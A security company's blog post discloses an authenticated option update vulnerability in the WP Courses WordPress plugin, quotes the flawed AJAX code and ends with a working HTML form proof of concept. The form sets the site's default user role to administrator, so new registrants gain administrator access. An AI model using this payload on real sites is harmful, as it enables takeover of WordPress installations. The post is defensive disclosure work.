6 Sep 2023

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability in WP Courses

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, an authenticated option update vulnerability in the plugin WP Courses. That allows a logged in attacker to change arbitrary WordPress options and they could use that to create a new WordPress account with administrator privileges. There are probably more vulnerabilities with similar code still lurking in plugins, as this was caught by a recent expansion of our motioning for that type of vulnerability. That vulnerability has been in the plugin for 22 months, without being noticed it appears.

We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool. That tool identified additional security issues in the plugin, as well.

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability shown in the proof of concept, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Option Update

In the file /admin/front-end-editor.php, the function wpc_save_fe_option() is registered to be AJAX accessible to anyone logged in to WordPress:

174
add_action( 'wp_ajax_save_fe_option', 'wpc_save_fe_option', 12 );

That function will update an arbitrary WordPress option (setting) specified by the POST input “option” to the value specified by the POST input “value”:

176
177
function wpc_save_fe_option() {
    update_option(sanitize_text_field($_POST['option']), sanitize_text_field($_POST['value']));

There should be a capabilities check to limit what user can access that functionality, a nonce check to prevent cross-site request forgery (CSRF), and a restriction on what options can be updated.

The code does sanitize the values passed to update_option(), which could limit some attacks.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will change the default role for new users to Administrator, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=save_fe_option" method="POST">
<input type="hidden" name="option" value="default_role" />
<input type="hidden" name="value" value="administrator" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.